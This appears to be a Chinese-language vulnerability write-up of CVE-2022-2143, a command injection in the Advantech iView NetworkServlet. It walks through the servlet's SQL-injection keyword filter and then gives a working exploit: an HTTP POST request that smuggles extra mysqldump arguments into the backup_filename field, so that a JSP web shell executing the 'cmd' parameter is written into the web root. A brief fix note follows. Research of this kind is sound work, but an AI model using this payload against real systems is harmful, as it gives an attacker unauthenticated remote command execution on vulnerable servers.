CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE

预览

调用关系查询

MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

分析

com.imc.iview.network.NetworkServlet#doPost

两次校验

com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

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检验\webapps\防止写shell

com.imc.iview.utils.CUtils#checkSQLInjection检测了一些关键字。

`public boolean checkSQLInjection(String model0) {`    `boolean result = false;`    `String model = model0.toLowerCase();`    `if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {`        `if (model.contains("union") && model.contains("select")) {`            `if (this.checkCommentStr(model, "union", "select")) {`                `result = true;`            `}`        `} else if (model.contains("case") && model.contains("when")) {`            `if (this.checkCommentStr(model, "case", "when")) {`                `result = true;`            `}`        `} else if (model.contains("into") && model.contains("dumpfile")) {`            `if (this.checkCommentStr(model, "into", "dumpfile")) {`                `result = true;`            `}`        `} else if (model.contains("into") && model.contains("outfile")) {`            `if (this.checkCommentStr(model, "into", "outfile")) {`                `result = true;`            `}`        `} else if (model.contains(" where ") && model.contains("select ")) {`            `result = true;`        `} else if (model.contains("benchmark")) {`            `result = true;`        `} else if (model.contains("select") && model.contains("from")) {`            `if (this.checkCommentStr(model, "select", "from")) {`                `result = true;`            `}`        `} else if (model.contains("select/*")) {`            `result = true;`        `} else if (model.contains("delete") && model.contains("from")) {`            `if (this.checkCommentStr(model, "delete", "from")) {`                `result = true;`            `}`        `} else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {`            `if (this.checkCommentStr(model, "drop", "table")) {`                `result = true;`            `}`            `if (this.checkCommentStr(model, "drop", "database")) {`                `result = true;`            `}`        `} else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {`            `if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {`                `result = true;`            `} else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {`                `result = true;`            `} else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {`                `result = true;`            `}`        `} else {`            `result = true;`        `}`    `} else {`        `result = true;`    `}`    `if (result) {`        `System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");`    `}`    `return result;``}`

那么mysqldump可以拼接-w参数将内容写入文件，然后可以多次传递-r参数覆盖原有的-r文件路径值

正常的命令为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

命令注入构造payload

2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

`POST /iView3/NetworkServlet HTTP/1.1``Host: 172.16.16.132:8080``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36``Connection: close``Content-Type: application/x-www-form-urlencoded``Content-Length: 79``   ``page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"`

拼接之后为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

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有php日志getshell的那味了。

修复

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判断session登录状态

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